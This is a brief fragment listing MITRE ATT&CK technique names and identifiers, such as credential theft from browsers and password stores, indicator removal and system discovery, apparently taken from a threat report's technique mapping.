Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery